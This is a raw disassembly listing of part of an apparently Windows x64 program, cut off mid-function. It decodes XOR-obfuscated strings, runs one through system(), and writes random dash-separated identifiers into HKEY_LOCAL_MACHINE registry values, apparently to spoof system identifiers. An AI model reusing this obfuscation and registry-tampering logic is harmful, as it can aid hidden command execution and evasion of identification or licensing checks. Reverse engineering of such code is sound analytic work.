lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400c1a60
cmp r8d, 0x39
jge 0x1400c1bb3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400c1b80
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173620]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140173630]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140173640]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140173650]
movups xmmword [rbp + 0x40], xmm1
movzx eax, word [0x140173660]
mov word [rbp + 0x50], ax
movzx eax, byte [0x140173662]
mov byte [rbp + 0x52], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1d4d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c1c40
cmp r8d, 0x43
jge 0x1400c1d93
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x1400c1d60
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1dd1
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov rsi, rbx
mov qword [rbp - 8], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp], r15
mov byte [rbp - 0x18], sil
mov edi, ebx
movzx r12d, byte [0x140173600]
movups xmm4, xmmword [0x1401735f0]
lea r14, [r15 - 0x10]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c1e8c
cmp edi, 0x18
je 0x1400c1e8c
movzx eax, word [0x140173500]
mov word [rbp - 0x30], ax
cmp byte [reloc.WS2_32.dll_gethostbyname], 0
je 0x1400c1e67
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x2f], 0x34
lea rax, [rbp - 0x30]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c1e70
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x18]
call fcn.140058bb0
jmp 0x1400c206d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1fdf
movdqa xmm6, xmmword [0x140176ee0]
movdqa xmm5, xmmword [0x140177220]
movdqa xmm7, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1ed2
cmp r8d, 0x11
jge 0x1400c2023
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c1ff0
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c2064
lea rax, [rsi + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp r15, 0xf
cmova rax, qword [rbp - 0x18]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c207c
lea rcx, [rbp - 0x18]
call fcn.1400605f0
movups xmm4, xmmword [0x1401735f0]
movzx r12d, byte [0x140173600]
inc edi
cmp edi, 0x19
jge 0x1400c2090
mov r15, qword [rbp]
mov rsi, qword [rbp - 8]
jmp 0x1400c1e30
mov r14d, 1
mov r9d, r14d
lea r8, [0x14016dfb4]
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.1400621d0
mov r9d, r14d
lea r8, [0x14016dfb0]
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0x18]
call fcn.1400621d0
lea r10, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r10, qword [rbp - 0x18]
movsd xmm0, qword [str.CeDXPVHW__]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140174aa0]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140174aa4]
mov word [rsp + 0x3c], ax
cmp byte [0x140174aa5], 0
je 0x1400c2263
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2218
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.CeDXPVHW__]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c2230
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c2292
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140173788]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140173798]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1401737a8]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x1401737b8]
mov word [rsp + 0x60], ax
movzx eax, byte [0x1401737ba]
mov byte [rsp + 0x62], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c242d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c2320
cmp r8d, 0x33
jge 0x1400c2473
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c2440
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c24c0
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov rsi, rbx
mov qword [rbp + 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x28], r15
mov byte [rbp + 0x10], sil
mov edi, ebx
movzx r12d, byte [0x140173600]
movups xmm4, xmmword [0x1401735f0]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c2553
cmp edi, 0x18
je 0x1400c2553
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140058bb0
jmp 0x1400c273d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c26ad
movdqa xmm6, xmmword [0x140176ee0]
movdqa xmm5, xmmword [0x140177220]
movdqa xmm7, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c25a0
cmp r8d, 0x11
jge 0x1400c26f3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c26c0
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c2734
lea rax, [rsi + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp r15, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c274c
lea rcx, [rbp + 0x10]
call fcn.1400605f0
movups xmm4, xmmword [0x1401735f0]
movzx r12d, byte [0x140173600]
inc edi
cmp edi, 0x19
jge 0x1400c2760
mov r15, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
jmp 0x1400c2520
mov r9, r14
lea r8, [0x14016dfb4]
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.1400621d0
mov r9, r14
lea r8, [0x14016dfb0]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x10]
call fcn.1400621d0
lea r10, [rbp + 0x10]
movups xmm0, xmmword [str.p_XFBLHs_OZH_3_n_E]
movzx eax, word [0x140172e28]
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
movzx eax, byte [0x140172e2a]
mov byte [rsp + 0x42], al
cmp qword [rbp + 0x28], 0xf
jbe 0x1400c27be
mov r10, qword [rbp + 0x10]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c290d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2800
cmp r8d, 0x13
jge 0x1400c2953
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400c2920
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c2982
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d5f0
movups xmm0, xmmword [0x140173788]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140173798]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1401737a8]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x1401737b8]
mov word [rsp + 0x60], ax
movzx eax, byte [0x1401737ba]
mov byte [rsp + 0x62], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2b1d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c2a10
cmp r8d, 0x33
jge 0x1400c2b63
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c2b30
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c2bb0
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov rsi, rbx
mov qword [rbp + 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x28], r15
mov byte [rbp + 0x10], sil
mov edi, ebx
movzx r12d, byte [0x140173600]
movups xmm4, xmmword [0x1401735f0]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c2c43
cmp edi, 0x18
je 0x1400c2c43
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140058bb0
jmp 0x1400c2e2d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
